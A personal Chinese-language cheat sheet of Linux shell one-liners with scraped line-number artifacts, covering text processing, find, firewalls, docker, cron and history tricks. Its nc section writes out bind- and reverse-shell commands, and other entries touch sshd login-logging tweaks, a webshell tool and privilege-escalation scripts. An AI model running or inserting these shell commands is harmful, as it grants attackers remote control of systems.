对爱情的渴望,对知识的追求,对人类苦难不可遏制的同情,这三种纯洁而无比强烈的激情支配着我的一生。
#  ls
1 2 #将下划线变为空格 ls | sed 's/_/ /g'  
1 2 #以点为分割取第一部分 ls | cut -d "."  -f 1   
1 2 # 选取切割后的第二列到最后一列 ls | cut -d "_"  -f 2 -  
1 2 #对ls的输出结果添加前缀和后缀 ls | sed 's/^/Save_/'  | sed 's/$/_In_Path/'  
1 2 # 以点为分割,不包括最后一项 ls | cut -d '.'  -f 1 -$(($(ls | head -n 1  | tr -dc '.'  | wc -c)+1 )) | rev | cut -d '.'  -f 2 - | rev 
#  cat1 2 #  cat 的结果中添加前缀和后缀cat 1.txt | sed 's/^/mv /g;s/$/ ..\/..\/..\/del_plg\//g' 
1 2 # 删除文件前后所有的空格 cat 1. txt | sed 's/^[[:space:]]*//;s/[[:space:]]*$//'  
1 2 cat  1.txt | cut  -d '.'  -f 2 | sed 's/^[[:space:]]*//' 
1 2 cat  1.txt | awk ' {if ($0!="")print}' 
1 2 cat  1.txt | xargs echo  -n 
1 2 cat  1.txt | sed '/^$/d'  | sed 's/^[[:space:]]*//' 
1 2 cat  1.txt | cut  -d "_"  -f 3- | awk '{print toupper(substr($0,1,1)) substr($0,2)}'  | sed 's/^/Lateral_Penetration_/g' 
1 2 # 将后缀改为.rule,去掉换行符,并cp到另外的目录 cat 1.txt | sed 's/.yaml//g;s/$/.rule/g;s/!/\\\\!/g' | xargs | sed 's/^/cp /g;s/$/ \/Users\/chentuo\/Public\/xxxxxx\/插件运营\/自动上传脚本\/威胁防护CI_CD加密\//g' 
#  for1 2 #  批量压缩文件 for dir in $(ls -d */); do zip -r "${dir%/}.zip" "$dir";done 
1 2 #  批量修改文件名,将点替换为- for file in *; do mv "$file" "${file//./_}"; done 
1 2 #  仅保留文件名中的最后6个字符 for file in *; do new_file_name="${file:(-6)}";mv "$file" "$new_file_name";done 
1 2 i=10000; for  file in  *; do  mv  "$file "  "$i " .jpeg; i=$((i+1 )); done  
1 2 3 # 批量增加前缀和删除前缀 for  i in `ls` ; do  mv "$i"  "【前缀】$i" ;donefor  i in `ls` ; do  mv "$i"  `echo "$i"  | cut -d "】"  -f 2 -`;done
1 2 # 生成自己需要的循环的内容 for  i in {20000. .20130 };do  echo '' >> 1.txt;done 
#  find1 2 #  批量修改文件名,将空格替换为划线 find * -depth -name '* *' -execdir bash -c 'mv "$0" "${0// /-}"' "{}" \; 
1 2 # 递归查找名为"here" 的文件夹,并打印其完整路径 find . -type d -name "here"  -print 
1 2 # 搜索当前目录下此文件,包括各级子目录 find . -name "filename.txt"  -print 
1 2 # 列出当前目录下的所有文件 find . -type f -exec echo {} \; 
1 2 # 过滤当前目录下的./image文件夹,打印其他目录下的所有文件 find . -path ./image -prune -o -type f -exec echo {} \; 
1 2 # 过滤多文件 find . \( -path ./image -o -path ./resource \) -prune -o -type f -exec echo {} \; 
#  rename1 2 # 重命名文件将-用.替换 rename 's/-/./g' * 
#  du
#  scp1 2 3 4 5 6 7 8 9 10 11 12 13 #  scp免密设置 - sudo vim ~/.ssh/config #  设置之后可以通过 ssh root@linux1 连接,并且免密 Host linux1 Hostname 1.117.52.219 User root Port 2121 IdentityFile /etc/ssh/chentuo_cloud.pem #  或者不设置 hostname,通过 ssh root@47.102.120.55 免密连接 Host 47.102.120.55 User root Port 22 IdentityFile ~/.ssh/aliyun_1106_rsa 
#  hash1 2 #  计算sha256值 shasum -a 256 filename-1.txt 
1 2 shasum -a 256 filename-1.txt  | awk '{print toupper($0)}'  
#  jq1 2 3 #  json 格式标准化输出 cat 1.json | jq jq . 1.json 
#  curl1 2 3 4 5 #  curl如何走代理 curl --socks5 "127.0.0.1:7890" "http://httpbin.org/ip"  #  查询某个ip的归属地 curl cip.cc/8.8.8.8 
#  tr1 2 3 4 5 6 7 #  不打印消息拷贝 #  windows cat ~/.ssh/id_ed25519.pub | clip #  linux xclip -sel clip < ~/.ssh/id_ed25519.pub cat /lib64/libm.so.6 | xclip -sel clip 
1 2 #  mac cat 1.json | pbcopy 
1 2 #  mac tr -d '\n' < ~/.ssh/id_rsa.pub | pbcopy 
#  ps1 2 #  查看当前运行了哪些服务 ps -ef | grep Linux 
#  conda1 2 3 4 #  查看当前有哪些环境 conda env list #  新建一个python3.7的conda环境 conda create -n test python=3.8 
1 2 3 # 激活环境与退出环境 conda activate test conda deactivate 
#  uname1 2 3 4 #  查看当前核心版本号 uname -a  #  查看当前内核版本 uname -r  
#  lsof1 2 3 #  查看端口是否被占用 lsof -i:10086 lsof -i:10086 | grep -v PID | awk '{print $2}' | xargs kill -9 
1 2 # 杀掉80端口的进程 lsof -i:10086 | awk '{print $2}' | grep -v 'PID' | uniq | xargs kill -9  
#  grep1 2 #  排除某字段,取前几行、后几行 cat url.txt | cut -d ':' -f 2 | sed 's/\/\///g'| grep -v url | uniq | tail -n 10 | head -n 10 | xargs open 
1 2 # 去掉空行与注释行 sudo cat /etc/sudoers | grep -v '#' | grep -v '^\s*$' 
1 2 # 批量过滤 cat .bash_history | grep -v "#\|ls\|cd\|ll\|clear\|neofetch\|man\|sl"  
1 2 3 # 过滤出 uncompression 字段的文件是哪个 grep -lH "uncompression"  * grep -lH "人生困惑"  *.md 
#  cp1 2 # 复制多个具有相同规则的子文件夹中的内容到另外一个文件夹中  cp -r *Trojan/* ../test 
#  ln1 2 3 4 5 #  linux创建链接软命令,ln  -s 源文件 目标文件 ln -s /usr/bin/whoami /usr/bin/n1h1l157 #  -f命令的意思是强制执行,意味着如果不存在就执行创建,存在就执行覆盖掉 ln -sf /usr/bin/id /usr/bin/n1h1l157 
#  vim1 2 #  Linux所有行用vim进行前缀插入 :%s/^/Prefix 
1 2 # Linux所有行用vim进行后缀插入 :%s/$/Suffix 
1 2 3 # linux vim删除多行内容: 将光标移动到需要删除的行,按一下ESC键,确保退出编辑模式 在dd命令前面加上要删除的行数,如要删除第4 行以下的3 行,按下3  dd 
#  sed1 2 #  添加行 sed -i '5i\ new line' deafult.txt 
1 2 # 删除行 sed -i '5,7d'  deafult.txt 
1 2 # 查看行 sed -n '4,8p'  deafult.txt 
1 2 # 首行尾行都添加单引号 sed 's/^/"/;s/$/"/'  deafult.txt 
1 2 # 关闭最后登陆的日志 sed -i 's/#PrintLastLog yes/PrintLastLog no/g'  /etc/ssh/sshd_config;systemctl restart sshd 
1 2 # 开启最后登陆的日志 sed -i 's/PrintLastLog no/#PrintLastLog yes/g'  /etc/ssh/sshd_config;systemctl restart sshd 
1 2 # 开启网络传输日志 sed -i 's/#Banner none/Banner \/etc\/issue.net/g'  /etc/ssh/sshd_config;systemctl restart sshd;echo -e "hellow\nworld"  > /etc/issue.net 
1 2 # 关闭网络传输日志 sed -i 's/Banner \/etc\/issue.net/#Banner none/g'  /etc/ssh/sshd_config;systemctl restart sshd;echo > /etc/issue.net 
1 2 #  关闭 logo 显示 修改 ~/.bashrc, 注释掉 neofetch 
#  awk1 2 #  awk打印具体列数 netstat -tunlp | grep 10086 | awk '{print $7}' | cut -d '/' -f 1 
1 2 #删除第一列 ll | awk '{$1="";print $0}'  
#  history1 2 #  过滤出10条最常用的命令 history | awk '{CMD[$2]++;count++;} END { for (a in CMD )print CMD[ a ]" " CMD[ a ]/count*100 "% " a }' | grep -v "./" | column -c3 -s " " -t |sort -nr | nl | head -n10 
#  nc1 2 3 #  nc测试本地端口是否开放 nc -zv localhost 10086 telnet 127.0.0.1 
1 2 3 #nc通过终端聊天 nc -lvvp 4444  nc 127.0 .0 .1  4444  
1 2 3 # 正向反弹shell 被控端:nc -lvp 4444  -e /bin/bash 控制端:nc 127.0 .0 .1  4444  
1 2 3 # 反向反弹shell: 控制端:nc -lvp 4444  被控端:nc 127.0 .0 .1  4444  -e /bin/bash 
1 2 3 # 反弹shell,在被控端输入信息,将被控端的信息全部导出到回显端 被控端:/bin/sh -i 2 >&1  | nc 127.0 .0 .1  4444  回显端:nc -lvp 4444  
#  firewalld1 2 3 4 5 6 #  安装 yum install firewalld systemctl status firewalld  systemctl restart firewalld systemctl stop firewalld systemctl disable firewalld 
1 2 3 4 # 开启端口 firewall-cmd --zone=public --list -ports firewall-cmd --zone=public --add-port=10086 /tcp --permanent firewall-cmd --reload 
1 2 3 4 # 关闭端口 firewall-cmd --zone=public --list -ports firewall-cmd --zone=public --remove-port=10086 /tcp --permanent firewall-cmd --reload 
#  nohup1 2 #  有日志的后台输出 nohup java -jar Behinder.jar & 
1 2 # 无日志的后台输出 nohup java -jar Behinder.jar >/dev/null 2 >&1  & 
#  docker1 2 # 查询所有的容器,过滤出Exited状态的容器,列出容器ID,删除这些容器 docker rm `docker ps -a|grep Exited|awk '{print $1}'` 
1 2 #删掉所有的docker镜像 docker rmi $(docker images -q) 
#  rpm1 2 3 #查询当前安装的所有rpm包 rpm -qa  rpm -qa | grep -i chrome 
1 2 #查询httpd安装路径 rpm -ql 包全名  
#  tar1 2 3 #  压缩、解压gz文件 tar -zcvf filename.tar.gz filename tar -zxvf filarename.tar.gz 
1 2 3 # 压缩当前目录下全部内容、解压zip文件 zip -r filename.zip . 
1 2 # 指定解压路径 tar -zxvf ../1. tar.gz -C ../ 
#  iconv1 2 #  获取归属地并编码为utf-8 curl http://whois.pconline.com.cn/ip.jsp -s | iconv -f gbk -t utf8 > /tmp/x ; vim /tmp/x +"d1" +"d1" +"wq";cat /tmp/x 
#  tail1 2 #  排除第一行的日志 cat deafult.txt | tail -n +2 
#  lrzsz1 2 3 4 5 #  比如xshell或者SecureCRT才可以使用,需要修改默认路径 yum install -y lrzsz.x86_64 #  sz:将选定的文件发送(send)到本地机器 sz 1.tar.gz 
1 # rz:运行该命令会弹出一个文件选择窗口,从本地选择文件上传到服务器(receive) 
#  EOF1 2 3 4 #  EOF 基本使用 cat > .. << EOF xxx EOF 
1 2 3 4 5 6 7 #  直接在宿主机上执行命令 ssh -T root@10.255.200.72 'id' #  不产生交互式shell, 直接执行命令 ssh -T root@10.255.200.72 << 'EOF' whoami EOF 
#  iptables1 2 3 4 5 #  查看是否安装 iptables -V #  安装 yum install iptables-services 
1 2 3 4 5 # 查看防火墙的状态  systemctl status iptables.service  systemctl stop iptables.service  systemctl start iptables.service  systemctl restart iptables.service 
1 2 3 4 # 查询防火墙开放端口 iptables -L -n iptables --list -rules iptables -L -n --line-number 
1 2 3 4 5 6 7 8 9 # 允许所有服务器访问指定端口 iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 22  -j ACCEPT iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80  -j ACCEPT # 保存iptables规则 service iptables save # 查看iptables的配置文件 cat /etc/sysconfig/iptables 
1 2 # 将新增的规则放在iptables规则页的首处 iptables -I INPUT -p tcp --dport 111  -j ACCEPT 
#  crontab1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #  编辑定时任务 crontab -e #  查看定时任务 crontab -l #  “*”表示“任意值”,分别为 分、时、天、月、周 #  表示任务将在每个星期日的凌晨2点40分执行 “40 2 * * 0” #  每两天运行一次的任务,"*/2" 表示每隔两天 "* * */2 * *" #  任务将在每天凌晨3点执行 "0 3 * * *" 
#  ufw1 2 3 4 5 6 7 # 开启关闭 ufw enable ufw status ufw status verbose ufw disable ufw allow 10086 ufw delete allow 10086 
#  proxychians41 2 3 4 5 #  查看使用的代理 cat /opt/homebrew/etc/proxychains.conf | tail -n 2 | grep -v "#" #  要使用brew的curl才可以 proxychains4 /opt/homebrew/Cellar/curl/8.0.1/bin/curl 127.0.0.1:8080 
#  export1 2 3 4 5 #  设置代理 export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890 #  取消代理 unset http_proxy & unset https_proxy 
#  ˆliˆil1 2 3 4 #  ˆoldˆnew。假如我在查看 file1 后 接着想查看 file4,那么只要执行 ˆ1ˆ4: cat file1  ˆ1ˆ4  cat file4 
1 2 3 4 # 有时候我们想不只替换一处,而是把上一条命令中的每处内容都替换掉。要实现这种效果,可以使用 !:gs/old/new cat file4.txt file5.txt !:gs/file/nnn cat nnn4.txt nnn5.txt 
#  !!1 2 3 #  !! 让我们以最快的方式重复执行上一条命令 id  !! 
1 2 3 4 # !! 经常与 sudo 联用,用来解决缺少权限的问题。例如: whoami sudo !!  sudo whoami 
1 2 3 4 5 6 7 #  利用 !foo 这种表示法允许我们执行以 foo 这三个字符打头的命令。Shell 将 以逆序的方式搜索历史命令列表,一旦与给定的开头字符匹配到,便予以执行该条命令。 !he  help #  在 ! 后面除了可以跟一个字符串之外,也可以跟一个数字。这个数字代表历史 命令列表中的编号。当我们用 history  查看历史命令列表时,命令左边显示的 即是该行命令的编号。 history 5 !52 
1 2 3 4 5 # 利用 !-2 ,我经常使用的一个场景是,先用文本编辑器编辑源代码,接着再编 译源代码。如果我需要再次编辑和编译,那么只要反复执行 !-2  即可。如此不 断循环。 nvim first.c  gcc -o first first.c  !-2  # 再编辑  !-2  # 再编译 
#  !$ 和!^1 2 3 4 5 6 7 #  !$,它允许我直接复用上一条命令的最后一位参数 mkdir videos  cd !$ #  与最后一位参数相反,!ˆ 能够让我们引用上一条命令中最开头的参数 ls /usr/share/doc /usr/share/man  cd !ˆ 
1 2 3 # 要引用的是上一条命令的所有参数。 ls src code  cp -r !* 
1 2 3 # 对于引用上一条命令中的参数,我们甚至可以要求 Shell 精确到具体的第几个。 touch foo.txt bar.txt baz.txt  cat !:2  
1 2 3 # 引用从 m 到 n 的参数 touch foo.txt bar.txt baz.txt  cat !:1 -2  
1 2 3 4 # 引用从 n 到最后的参数 # 此处的 !:2 * 允许我将 hosts 和 hostname 同时打开进行编辑。 cat /etc/resolv.conf /etc/hosts /etc/hostname  cat !:2 * 
#  !$1 2 3 4 5 #  :h 为修饰符,意味着截取路径的开头部分(head ) ls ~/Downloads/test/resource #  !$:h可获取前一部分路径 cd !$:h cd ~/Downloads/test/ 
1 2 3 4 5 #  通过 :t 修饰符,我们可以引用路径的结尾部分(tail ) wget http://nginx.org/download/nginx-1.15.8.tar.gz  #  经过 !$:t 引用后,我们的命令变成了 tar zxvf !$:t tar zxvf nginx-1.15.8.tar.gz 
1 2 3 4 # 对于存在文件名的情形,可以利用 :r 修饰符来只引用文件名部分(这将排除掉扩展名)。例 unzip hello.zip  cd !$:r # 这里的 !$:r 将 hello.zip 去掉扩展名,只保留 hello 部分。 
1 2 3 4 5 # Shell 还支持将多个修饰符进行联用,在它们之间只需使用冒号分隔即可。例如: ls ~/Downloads/test/resource echo !$:t:u  echo TRUETYPE # 先用 :t 引用了路径的结尾部分,然后又使用 :u 将其更改为了大写字母。 
#  Emacs —1 2 3 #  bash 和 zsh 两个都支持使用 set  指令来设置命令行编辑模式 set -o vi set -o emacs 
1 2 3 4 5 6 # 在命令行输入一些字符 Ctrl + b 向左移动一个字符  Ctrl + f 往右移动一个字符  Ctrl + d 删除光标右边的字符  退格键 删除光标左边的字符  Ctrl + t 将光标左边的两个字符交换顺序 
1 2 3 4 5 # 按键作用 Ctrl + a  将光标移到行首(最左边) Ctrl + e  将光标移到行尾(最右边) Ctrl + k  从光标处往右删除至行尾 Ctrl + u  从光标处向左删除至行首 
#  tree1 2 3 4 5 #  只显示目录,不显示文件 tree -d -L 2 #  显示深度为2级 tree -L 2 
#  echo1 2 #  bash脚本中设置文本不换行 echo -n "gL2JqktKqFbkyUM4" > 111.txt 
#  CDPATH1 2 3 4 5 #  利用$CDPATH ,我们能够将常用的目录保存起来,以便 cd  为我们直接转到这些目录 CDPATH=:~:~/Public/23:~/Public/ #  加到 $CDPATH  路径列表的目录为待导航的目标目录 的父目录 cd 22 
#  alias1 2 3 4 5 6 7 8 #  设置别名,方便通过简易名称使用命令 alias ..='cd ..' alias ...='cd ../..' alias ....='cd ../../..' alias ls='ls --color=auto' alias l='ls -lah --color=auto' alias la='ls -AF --color=auto' alias ll='ls -lFh --color=auto' 
#  {}1 2 3 4 5 #  备份文件,相当于 cp  linpeas_linux_amd64 linpeas_linux_amd64.bak cp linpeas_linux_amd64{,.bak} #  压缩文件,相当于 tar -zcvf log.txt.tar.gz log.txt tar -zcvf linpeas_linux_amd64{.tar.gz,} 
1 2 3 4 5 # 打印序列 echo {a..z} echo {01. .10 } echo {1. .9 ..2 } for  i in {1. .9 ..2 };do  echo $i;done | pbcopy
1 2 3 # 连用和嵌套 mkdir -p 2019 /{01. .12 }/{baby,photo} echo {{A..Z},{a..z},{0. .9 }} 
#  z.lua1 2 3 #  快速路径切换工具 z.lua which lua lua5.1 lua5.2 lua5.3 git clone https://github.com/skywind3000/z.lua.git ~/.z.lua 
1 2 3 4 5 # 添加到环境变量中 eval "$(lua ~/.z.lua/z.lua --init zsh)"  # 在默认设置下,z.lua 将所有访问的路径都保存到了 ~/.zlua 文件中 z p 
1 2 3 4 5 # -i:交互模式,如果有多个匹配结果的话,那么z.lua将展示一个列表 z -i p 2 :  24          /home/xx/tmp1 :  48          /home/xx/prj> 
1 2 # -b:这个选项在深层次目录中跳转特别有用,它可以将我们快速带回某一级的父目录 z -b do  
#  HSTR1 2 3 4 5 6 7 8 9 #  ctrl + r 是自带的,但是没那么好用 #  命令行直接输入 hh 并按回车键 cd ~/cli xiaodong@codeland:~/cli$ hh • 下方向键或 Ctrl + n:向下移动一行 • 上方向键或 Ctrl + p:往上移动一行 • Ctrl + f:将命令添加到收藏夹 • Delete 键:删除命令,根据提示按 y 将确认删除 
#  paste1 2 #  将两个文本文件按照行一一对应合并 paste -d ',' deafult1.txt deafult2.txt 
#  asciinema1 2 3 #  Asciinema 是一个命令行屏幕录制工具,可以帮助你记录并分享终端会话 #  安装 asciinema brew install asciinema 
1 2 3 4 5 6 7 8 9 10 11 12 # 启动屏幕录制功能 asciinema rec # 停止录制 # 当你完成了终端会话录制后,可以按下 Ctrl+D 或输入 `exit ` 命令来停止录制 # 或者按回车上传到 asciinema.org 网站上临时存储 # 本地播放 cast 文件 asciinema play /var/folders/dt/4 tq856fn683_ytdsqbk5271c0000gn/T/tmp2n2mfpq1-ascii.cast # 上传到 Asciinema 官网上,并获取共享链接 asciinema upload /path/to/recording.cast 
#  bat1 2 3 4 5 6 #  Bat 是一个类似于 cat  命令的工具,可以显示带有语法高亮的文件内容。 #  安装 bat brew install bat #  查看文件内容:在终端中输入 `bat` 命令来查看文件内容。例如: bat /path/to/file.txt | less 
1 2 3 4 5 # Bat 支持多种语言的语法高亮 bat -l python /path/to/file.py # 查看 bat 支持的语言 bat --list -languages 
#  systemctl1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #  reboot 之后自启动的 docker 容器 #  编写 /etc/systemd/system/mrdoc.service  cat > /etc/systemd/system/mrdoc.service << EOF [Unit] Description=Docker container for mrdoc Requires=docker.service After=docker.service [Service] Restart=always ExecStart=/usr/bin/docker start mrdoc ExecStop=/usr/bin/docker stop mrdoc [Install] WantedBy=multi-user.target EOF #  运行以下命令来重新加载 Systemd 配置,并启用服务 systemctl daemon-reload systemctl enable mrdoc.service #  运行以下命令来启动服务、停止、重起 mrdoc 服务 systemctl stop mrdoc.service systemctl restart mrdoc.service systemctl disable mrdoc.service 
#  hwclock1 2 3 4 5 6 7 8 9 10 11 12 13 14 #  查看系统时钟 date #  查看硬件时钟的操作:  hwclock --show clock --show #  设置硬件时钟的操作:  hwclock --set --date="11/13/2017 09:26:00" clock --set --date="11/13/2017 09:26:00" #  硬件时钟与系统时钟同步: hwclock --hctosys clock --hctosys 
#  script1 2 3 4 5 6 7 8 #  从2.txt文件中逐行读取内容,并将每一行的内容作为文件名创建文件 # !/bin/bash filename="2.txt" while IFS= read -r line do     echo "$line" > "$line"     echo "Created file: $line" done < "$filename" 
#  play1 2 3 4 #  山羊logo 苹果logo  neofetch --ascii_distro AIX neofetch --ascii_distro GNU neofetch --ascii_distro BSD 
1 2 # 抽象字体 figlet N1h1l157.github.io 
1 2 3 4 5 6 # 数字矩阵 cmatrix -a -s cmatrix -r cmatrix -m cmatrix -abBcfsmx -C red cmatrix -abcm -C green 
1 2 # 龙 logo cowsay -f dragon-and-cow "n1h1l157" 
1 2 # 图片变为终端显示 asciiview /Users/chentuo/Public/recourses/my_image/1.png 
1 2 3 4 5 # 资源监视器 htop vtop gtop bashtop